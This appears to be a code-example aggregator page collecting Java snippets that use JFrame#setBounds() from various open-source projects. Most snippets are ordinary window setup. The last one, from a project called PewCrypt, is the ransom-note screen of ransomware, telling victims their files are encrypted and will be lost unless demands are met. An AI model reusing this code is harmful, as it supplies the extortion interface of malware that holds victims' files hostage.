Java Code Examples for javax.swing.JFrame#setBounds()

The following examples show how to use javax.swing.JFrame#setBounds() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: ValueModelViewNotEditable.java    From ET_Redux with Apache License 2.0 6 votes vote down vote up
/**
 * 
 * @param args
 * @throws Exception
 */
public static void main ( String[] args ) throws Exception {

    JFrame testFrame = new JFrame();
    testFrame.setBounds( 400, 400, PANEL_WIDTH, PANEL_HEIGHT + 25 );
    testFrame.setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);

    ValueModel valueModel = new ValueModel( //
            //
            "test", //
            new BigDecimal( 12345.67890 ), //
            "ABS", //
            new BigDecimal( 0.987654321 ), BigDecimal.ZERO );

    AbstractValueModelView testView = new ValueModelViewNotEditable( valueModel);
    testView.setBorder( new LineBorder( Color.red ) );


    testFrame.add( testView );
    testFrame.setVisible( true );
}
 
Example 2
Source File: GuiShowElectionResultsAction.java    From WorldGrower with GNU General Public License v3.0 6 votes vote down vote up
@Override
public void actionPerformed(ActionEvent e) {
	JFrame frame = new JFrame();
	
	JTable table = new JTable(new WorldModel());
	table.getColumnModel().getColumn(0).setCellRenderer(new TooltipCellRenderer());
	table.setBounds(50, 50, 1000, 800);
	frame.add(new JScrollPane(table));
	
	frame.setBounds(100,  100, 900, 900);
	frame.setVisible(true);
}
 
Example 3
Source File: MineralStandardUPbRatiosPanelViewNotEditable.java    From ET_Redux with Apache License 2.0 6 votes vote down vote up
/**
 *
 * @param args
 * @throws Exception
 */
public static void main ( String[] args ) throws Exception {

    JFrame testFrame = new JFrame();
    testFrame.setBounds( 400, 400, 600, 300 );
    testFrame.setDefaultCloseOperation( javax.swing.WindowConstants.EXIT_ON_CLOSE );

    ValueModel[] valueModels = new MineralStandardUPbRatioModel[5];
    for (int i = 0; i < 5; i ++) {
        valueModels[i] = new MineralStandardUPbRatioModel( "test " + i );
    }
    AbstractValueModelsPanelView testView = new MineralStandardUPbRatiosPanelViewNotEditable( valueModels);
    testView.setBorder( new LineBorder( Color.red ) );


    testFrame.add( testView );
    testFrame.setVisible( true );
}
 
Example 4
Source File: MyController.java    From jason with GNU Lesser General Public License v3.0 6 votes vote down vote up
private void createGUI() {
    frame = new JFrame("MyController");

    // create space for 4 agents
    frame.getContentPane().setLayout(new GridLayout(NBAG/2,NBAG/2));
    for (int i=0; i<NBAG; i++) {
        panels[i] = new JTextPane();
        panels[i].setEditable(false);
        panels[i].setContentType("text/html");
        frame.getContentPane().add(panels[i]);
    }

    Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
    frame.setBounds(0, 0, screenSize.width, screenSize.height);
    frame.setVisible(true);
}
 
Example 5
Source File: DrawBitmaskToSurfaceTest.java    From jdk8u-jdk with GNU General Public License v2.0 5 votes vote down vote up
public static void main(final String[] args) throws Exception {
    final JFrame frame = new DrawBitmaskToSurfaceTest();
    frame.setBounds(10, 350, 200, 200);
    frame.setVisible(true);

    Thread.sleep(2000);

    System.err.println("Change frame bounds...");
    latch = new CountDownLatch(1);
    frame.setBounds(10, 350, 90, 90);
    frame.repaint();

    try {
        if (latch.getCount() > 0) {
            latch.await();
        }
    } catch (InterruptedException e) {
    }

    frame.dispose();

    if (theError != null) {
        throw new RuntimeException("Test failed.", theError);
    }

    System.err.println("Test passed");
}
 
Example 6
Source File: StartupHelper.java    From javamoney-examples with Apache License 2.0 5 votes vote down vote up
private
static
JFrame
createSplash()
{
  JFrame splash = new JFrame();

  // Build frame.
  splash.setBounds(createCenteredScreenBounds(350, 85));
  splash.setContentPane(new Panel());
  splash.setResizable(false);
  splash.setUndecorated(true);

  return splash;
}
 
Example 7
Source File: Tn5250jController.java    From tn5250j with GNU General Public License v2.0 5 votes vote down vote up
public Screen5250 startSession(String name) {
	JFrame frame = new JFrame();
	String args[] = new String[15];
	parseArgs((String) sesprops.get(name), args);
	Properties fin = convertToProps(args);
	Session5250 newses = manager.openSession(fin, null, name);
     SessionPanel newGui = new SessionPanel(newses);
	frame.getContentPane().add(newGui);
	frame.setBounds(50, 50, 960, 700);
	frame.setVisible(true);
	newses.connect();
	return newses.getScreen();
}
 
Example 8
Source File: DemoTheatreApp.java    From arcgis-runtime-demo-java with Apache License 2.0 5 votes vote down vote up
/**
 * Creates a window.
 * 
 * @return a window.
 */
private JFrame createWindow() {
  JFrame window = new JFrame("Drive Time Geoprocessing Application");
  window.setBounds(100, 100, 1000, 700);
  window.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  window.getContentPane().setLayout(new BorderLayout(0, 0));
  window.addWindowListener(new WindowAdapter() {
    @Override
    public void windowClosing(WindowEvent windowEvent) {
      super.windowClosing(windowEvent);
      map.dispose();
    }
  });
  return window;
}
 
Example 9
Source File: DrawBitmaskToSurfaceTest.java    From openjdk-jdk8u with GNU General Public License v2.0 5 votes vote down vote up
public static void main(final String[] args) throws Exception {
    final JFrame frame = new DrawBitmaskToSurfaceTest();
    frame.setBounds(10, 350, 200, 200);
    frame.setVisible(true);

    Thread.sleep(2000);

    System.err.println("Change frame bounds...");
    latch = new CountDownLatch(1);
    frame.setBounds(10, 350, 90, 90);
    frame.repaint();

    try {
        if (latch.getCount() > 0) {
            latch.await();
        }
    } catch (InterruptedException e) {
    }

    frame.dispose();

    if (theError != null) {
        throw new RuntimeException("Test failed.", theError);
    }

    System.err.println("Test passed");
}
 
Example 10
Source File: DataCollectorApp.java    From arcgis-runtime-demo-java with Apache License 2.0 5 votes vote down vote up
/**
 * Creates a window.
 * 
 * @return a window.
 */
private JFrame createWindow() {
  JFrame window = new JFrame("Data Collection Application");
  window.setBounds(100, 100, 1000, 700);
  window.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  window.getContentPane().setLayout(new BorderLayout(0, 0));
  window.addWindowListener(new WindowAdapter() {
    @Override
    public void windowClosing(WindowEvent windowEvent) {
      super.windowClosing(windowEvent);
      map.dispose();
    }
  });
  return window;
}
 
Example 11
Source File: bug8016356.java    From jdk8u-dev-jdk with GNU General Public License v2.0 5 votes vote down vote up
private static void createAndShowUI() {
    frame = new JFrame();
    frame.setBounds(10, scrTop + 10, 300, 100);
    JPanel panel = new JPanel();
    panel.setBackground(color);
    frame.getContentPane().add(panel);
    frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    frame.setVisible(true);
}
 
Example 12
Source File: DrawBitmaskToSurfaceTest.java    From TencentKona-8 with GNU General Public License v2.0 5 votes vote down vote up
public static void main(final String[] args) throws Exception {
    final JFrame frame = new DrawBitmaskToSurfaceTest();
    frame.setBounds(10, 350, 200, 200);
    frame.setVisible(true);

    Thread.sleep(2000);

    System.err.println("Change frame bounds...");
    latch = new CountDownLatch(1);
    frame.setBounds(10, 350, 90, 90);
    frame.repaint();

    try {
        if (latch.getCount() > 0) {
            latch.await();
        }
    } catch (InterruptedException e) {
    }

    frame.dispose();

    if (theError != null) {
        throw new RuntimeException("Test failed.", theError);
    }

    System.err.println("Test passed");
}
 
Example 13
Source File: Demo.java    From visualvm with GNU General Public License v2.0 5 votes vote down vote up
private void createUI() {
    JFrame frame = new JFrame("Charts Test");
    frame.getContentPane().add(support.getChart());
    frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    frame.setBounds(100, 200, 800, 600);
    frame.setVisible(true);
}
 
Example 14
Source File: bug8016356.java    From hottub with GNU General Public License v2.0 5 votes vote down vote up
private static void createAndShowUI() {
    frame = new JFrame();
    frame.setBounds(10, scrTop + 10, 300, 100);
    JPanel panel = new JPanel();
    panel.setBackground(color);
    frame.getContentPane().add(panel);
    frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    frame.setVisible(true);
}
 
Example 15
Source File: ClusterApp.java    From arcgis-runtime-demo-java with Apache License 2.0 5 votes vote down vote up
/**
 * Creates a window.
 * 
 * @return a window.
 */
private JFrame createWindow() {
  JFrame window = new JFrame("Cluster Layer Application");
  window.setBounds(100, 100, 1000, 700);
  window.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  window.getContentPane().setLayout(new BorderLayout(0, 0));
  window.addWindowListener(new WindowAdapter() {
    @Override
    public void windowClosing(WindowEvent windowEvent) {
      super.windowClosing(windowEvent);
      map.dispose();
    }
  });
  return window;
}
 
Example 16
Source File: ChartComponent.java    From software-demo with MIT License 5 votes vote down vote up
/**
 * 创建报表窗口
 */
public static void createChartFrame(String materialsId, String year, int month1, int month2){
       JFrame frame = new JFrame("大图查看");
       frame.setLocationRelativeTo(null);
       frame.add(getChartPanel(materialsId, year, month1, month2));
       frame.setBounds(0, 0, Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height - 100);
       frame.setVisible(true);
}
 
Example 17
Source File: BaseCaretTest.java    From netbeans with Apache License 2.0 4 votes vote down vote up
public void setUp() throws Exception {
    super.setUp();
    Lookup.getDefault();
    prepareTest(new String[] {
            "/org/netbeans/modules/editor/resources/layer.xml",
            "/META-INF/generated-layer.xml",
            "/org/netbeans/modules/defaults/mf-layer.xml",
    },
    new Object[0]);
    // hack:
    MimeLookup.getLookup("").lookup(FoldHierarchyMonitor.class);
    env = new FoldHierarchyTestEnv(new FoldManagerFactory() {
        @Override
        public FoldManager createFoldManager() {
            return fm = new FM();
        }
    });
    pane = env.getPane();
    env.getPane().setEditorKit(new Kit());
    env.getDocument().insertString(0, "123456789-123456789-123 aa 89-123456789-1234567890", null);
    
    // ensure initialized
    env.getHierarchy(); 
    // cannot be done in FoldManager, as setEditorKit() will replace document and reinitialize folds in 2nd thread, which may
    // complete even faster than insertString(), so BLE could be thrown.
    FoldHierarchyTransaction tran = fm.op.openTransaction();
    fm.op.addToHierarchy(
            FT, 
            "", 
            true, 
            10, 
            40, 
            1, 1, 
            null, 
            tran);
    tran.commit();
                
    fold = FoldUtilities.findOffsetFold(env.getHierarchy(), 25);
   // get x/y of the folded part:
    JFrame fr = new JFrame("test");
    fr.setBounds(0, 0, 400, 100);
    fr.add(pane);
    fr.setVisible(true);
    
    delegate = (Callable<Boolean>)pane.getClientProperty("org.netbeans.api.fold.expander");
    pane.putClientProperty("org.netbeans.api.fold.expander", new Callable<Boolean>() {
        public Boolean call() throws Exception {
            return retValue = delegate.call();
        }
        
        public boolean equals(Object o) {
            return retValue = delegate.equals(o);
        }
    });
    pane.requestFocus();
    selectWordCalled = false;
}
 
Example 18
Source File: MppExplorer.java    From mpxj with GNU Lesser General Public License v2.1 4 votes vote down vote up
/**
 * Initialize the contents of the frame.
 */
private void initialize()
{
   m_frame = new JFrame();
   m_frame.setBounds(100, 100, 900, 451);
   m_frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
   m_frame.getContentPane().setLayout(new GridLayout(1, 0, 0, 0));

   final FileChooserModel fileChooserModel = new FileChooserModel();
   final FileChooserController fileChooserController = new FileChooserController(fileChooserModel);
   @SuppressWarnings("unused")
   FileChooserView fileChooserView = new FileChooserView(m_frame, fileChooserModel);
   fileChooserModel.setExtensions("mpp");

   JMenuBar menuBar = new JMenuBar();
   m_frame.setJMenuBar(menuBar);

   JMenu mnFile = new JMenu("File");
   menuBar.add(mnFile);

   JMenuItem mntmOpen = new JMenuItem("Open");
   mnFile.add(mntmOpen);

   //
   // Open file
   //
   mntmOpen.addActionListener(new ActionListener()
   {
      @Override public void actionPerformed(ActionEvent e)
      {
         fileChooserController.openFileChooser();
      }
   });

   final JTabbedPane tabbedPane = new JTabbedPane(SwingConstants.TOP);
   m_frame.getContentPane().add(tabbedPane);

   PropertyAdapter<FileChooserModel> adapter = new PropertyAdapter<>(fileChooserModel, "file", true);
   adapter.addValueChangeListener(new PropertyChangeListener()
   {
      @Override public void propertyChange(PropertyChangeEvent evt)
      {
         File file = fileChooserModel.getFile();
         tabbedPane.add(file.getName(), new MppFilePanel(file));
      }
   });
}
 
Example 19
Source File: ScreenCaptureResolutionTest.java    From openjdk-jdk9 with GNU General Public License v2.0 4 votes vote down vote up
public void validateScreenCapture() throws AWTException {
    Robot robot = new Robot();
    outputControlPanel = new JPanel(layout);
    GridBagConstraints ogbc = new GridBagConstraints();

    MultiResolutionImage image
            = robot.createMultiResolutionScreenCapture(inputImageFrame.getBounds());
    List<Image> imageList = image.getResolutionVariants();
    int size = imageList.size();
    BufferedImage lowResImage = (BufferedImage) imageList.get(0);
    BufferedImage highResImage = (BufferedImage) imageList.get(1);

    outputImageFrame = new JFrame("Output");
    outputImageFrame.getContentPane().setLayout(new GridBagLayout());
    ogbc.gridx = 0;
    ogbc.gridy = 0;
    ogbc.fill = GridBagConstraints.HORIZONTAL;
    outputControlPanel.add(new JLabel(new ImageIcon(lowResImage)), ogbc);
    int width = lowResImage.getWidth();
    int height = lowResImage.getHeight();
    JLabel labelImg1 = new JLabel("LEFT:Width: " + width
                                  + " Height: " + height);
    ogbc.gridx = 0;
    ogbc.gridy = 1;
    outputControlPanel.add(labelImg1, ogbc);
    ogbc.gridx = 1;
    ogbc.gridy = 0;
    outputControlPanel.add(new JLabel(new ImageIcon(highResImage)), ogbc);
    width = highResImage.getWidth();
    height = highResImage.getHeight();
    JLabel labelImg2 = new JLabel("RIGHT:Width: " + width
                                  + " Height: " + height);
    ogbc.gridx = 1;
    ogbc.gridy = 1;
    outputControlPanel.add(labelImg2, ogbc);
    outputControlPanel.setBackground(Color.GRAY);
    outputImageFrame.add(outputControlPanel);

    outputImageFrame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    outputImageFrame.setBounds(600, 0, 400, 300);
    outputImageFrame.setLocationRelativeTo(null);
    outputImageFrame.setVisible(true);
}
 
Example 20
Source File: UI.java    From PewCrypt with MIT License 4 votes vote down vote up
/**
 * Initialise the contents of the frame.
 */
private void initialize() {

	byte[] imageBytes = DatatypeConverter.parseBase64Binary(imgB64);

	try {

		img = ImageIO.read(new ByteArrayInputStream(imageBytes));

	} catch (IOException e1) {

		e1.printStackTrace();

	}

	frmYourFilesHave = new JFrame();
	frmYourFilesHave.setResizable(false);
	frmYourFilesHave.setIconImage(img);
	frmYourFilesHave.setTitle("PewCrypt");
	frmYourFilesHave.setType(Type.POPUP);
	frmYourFilesHave.getContentPane().setBackground(Color.BLACK);
	frmYourFilesHave.setBounds(100, 100, 1247, 850);
	frmYourFilesHave.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
	frmYourFilesHave.getContentPane().setLayout(null);

	txtYourFilesHave = new JTextField();
	txtYourFilesHave.setBounds(0, 0, 1215, 45);
	txtYourFilesHave.setHorizontalAlignment(SwingConstants.CENTER);
	txtYourFilesHave.setBackground(Color.BLACK);
	txtYourFilesHave.setForeground(Color.RED);
	txtYourFilesHave.setEditable(false);
	txtYourFilesHave.setText("Your Files Have Been Encrypted!");
	frmYourFilesHave.getContentPane().add(txtYourFilesHave);
	txtYourFilesHave.setColumns(10);

	JTextArea Instructions = new JTextArea();
	Instructions.setBounds(0, 242, 1215, 203);
	Instructions.setEditable(false);
	Instructions.setFont(new Font("Monospaced", Font.PLAIN, 18));
	Instructions.setBackground(Color.BLACK);
	Instructions.setForeground(Color.RED);
	Instructions.setText(
			"Your files have been encrypted using a 256 bit AES key which has been encrypted with a 2048 bit RSA key\r\nIn order to get your files back read the instructions bellow\r\n\r\nInstructions:\r\r\n - Subscribe to Pewdiepie (Hint: Hit the bro fist)\r\r\n - Wait until Pewdiepie reaches 100 million subs at which point a decryption tool will be realseaed\r\r\nIf T-Series beats Pewdiepie THE PRIVATE KEY WILL BE DELETED AND YOU FILES GONE FOREVER!");
	frmYourFilesHave.getContentPane().add(Instructions);

	progressBarPEW.setMaximum(100000000);
	progressBarPEW.setForeground(new Color(0, 153, 204));
	progressBarPEW.setToolTipText("Pewdiepie Sub Progress Bar");
	progressBarPEW.setBackground(Color.DARK_GRAY);
	progressBarPEW.setBounds(0, 85, 1215, 50);
	frmYourFilesHave.getContentPane().add(progressBarPEW);

	progressBarT.setMaximum(100000000);
	progressBarT.setForeground(new Color(204, 0, 0));
	progressBarT.setToolTipText("T-Series Sub Progress Bar");
	progressBarT.setBackground(Color.DARK_GRAY);
	progressBarT.setBounds(0, 186, 1215, 50);
	frmYourFilesHave.getContentPane().add(progressBarT);

	JButton btnNewButton = new JButton(new ImageIcon(img));
	btnNewButton.setBackground(Color.BLACK);
	btnNewButton.addActionListener(new ActionListener() {
		public void actionPerformed(ActionEvent arg0) {

			try {

				// open Pewdiepie channel
				Desktop.getDesktop().browse(new URI("https://www.youtube.com/channel/UC-lHJZR3Gqxm24_Vd_AJ5Yw"));

			} catch (IOException | URISyntaxException e) {

				e.printStackTrace();
			}
		}
	});
	btnNewButton.setBounds(491, 485, 241, 249);
	btnNewButton.setBorderPainted(false);
	btnNewButton.setFocusPainted(false);
	btnNewButton.setContentAreaFilled(false);
	frmYourFilesHave.getContentPane().add(btnNewButton);

	lblPewdiepie.setHorizontalAlignment(SwingConstants.CENTER);
	lblPewdiepie.setForeground(Color.RED);
	lblPewdiepie.setBounds(0, 47, 1215, 33);
	frmYourFilesHave.getContentPane().add(lblPewdiepie);

	lblT.setHorizontalAlignment(SwingConstants.CENTER);
	lblT.setForeground(Color.RED);
	lblT.setBounds(0, 144, 1215, 33);
	frmYourFilesHave.getContentPane().add(lblT);
}